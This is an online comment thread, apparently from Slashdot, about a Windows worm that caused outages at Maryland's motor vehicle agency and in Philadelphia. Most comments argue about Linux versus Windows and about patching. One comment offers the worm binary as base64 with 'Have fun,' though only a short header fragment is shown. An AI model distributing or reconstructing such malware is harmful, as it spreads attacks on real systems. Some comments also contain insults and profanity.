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Windows Virus Takes Out Gov't Agencies in MD, PA
Zolzar writes "Looks like the Md. State Motor Vehicles Administration is the first government agency reporting a failure of their systems due to the recent virus." This is a more specific story about the outage. And the city of Philadelphia has suffered as well.
Here's wishing you many more outages and headaches. I don't worry myself over MS worms, I'll let you figure out why.
Don't try and defend this with Microsoft-bashing. What he's done is illegal and dangerous. Mod me down, fascists.
When they find the Linux users who did this I hope they lock them up and throw away the key. There must be better ways to vent your anger towards Microsoft.
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Here's the entire virus, base64 encoded. Have fun. It floods microsoft.com/windowsupdate.com starting saturday.
begin-base64 600 msblast.exe
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ACp8Nz8AAAAAAAAAAOAADwELAQI3ACAAAAAQAA AAUAAA8HEAAA BgAAAAgAAA
AABAAAAQAAAAAgAAAQAAAAAAAAAEAAAAAAAAAA CQAAAAEAAAAA AAAAIAAAAA
ABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAA AAAACAAABIAQ AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAFAAAA AQAAAAAAAAAA IAAAAAAAAA
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AABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAFg AAAAAAAAAAAA AAAAAAQAAA
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I mean... who on Earth would expose a Windows machine to the internet...
Troll or not... it seems to be just common sense with 8 years of data to back it up.
Thats a lie and you know it. Linux takes care of itself, it even does my homework and makes friends for me. Just ask the author of Goats, he'll tell you.
"Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
I fail to see how issues like this show that windows is fundamentally insecure.
- The patch came out a month ago.
- They have 90% of the marketshare, so one would assume that 90% of the viruses created are written to target exploits on Windows.
- They have 90% of the marketshare, so one would assume that people who spend their time looking for security holes will spend 90% looking at Windows.
If Linux had 90% marketshare and was used mostly by people who don't patch, like Windows is, I fail to see how architectually Linux would be more immune to this type of attack than Windows is. The reason this doesn't happen with Linux is not because it's oh so superior to Windows software wise but because it's used by less people (less rate of infection, less motivation for hackers to write viruses), and the people who use it are competent enough with computers to make sure their stuff is patched and healthy.
The people who run Linux at home or in the office didn't get this virus because their Windows machines were patched. Why do you think that is?
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Yes they were, you should be fired.
Viruses are no longer spread by floppy disks but instead come into your computers.
Phily may blame Symantec for the virus but are they truely responsible? I doubt it. More the blame should be pointed to their cheif of IT for allowing those specific ports to be open.
Any IT cheif worth his money would know the advantage of having all outside network facing machines not run any MicroSoft OS and instead rely on Linux to handle those functions thus providing a barrier beyond the firewalls to keep viruses out. In today's age it's just not a good idea to have any MicroSoft equipment as any network edge service.
Also it's obvious that the line by line review of the OS code has done nothing to alleviate these problems. This is the 3rd virus in the last 2 weeks to hit Windows and many times the AV companies take upwards of 24 hours to produce new definitions to block the viruses themselves.
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Zzzzz...nnngg...huh? wh...What? A virus?
Oh, never mind. I switched all of our company's systems over to Linux months ago. I can rest in the fact that the world around me may be burning down from another brain dead defect in Microsoft's crap code, but I am blissfully unaffected because Linux is secure.
Yeah, that's right, secure. For those of you who say Linux is just as bad as Windows, you keep telling yourself that tonight when you're up patching systems.
(sigh) Hmm. I wonder what's on TV tonight?
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its important to note that computers that had windows update turned on were patched several weeks ago and were not affected by this. it was only the paranoid neurotics that turned off windows update that got screwed up the ... by this worm. windows update was developed for PRECISELY this reason so you cannot blame microsoft for this. windows update makes patching idiot proof.
you fucking idiot you called people fascists when you don't CLEARLY even know what the fuck fascism is. Buy a dictionany asshole
That's a pretty lame comment. That's like saying it's Smith & Wesson's fault when someone gets shot by a handgun they manufactured. The blame goes to those who have nothing better to do than conduct such malicious behaviour.
Do you walk into your neighbor's house and steel money off their dresser just because the door is unlocked? No. Give the Microsoft bashing a break.
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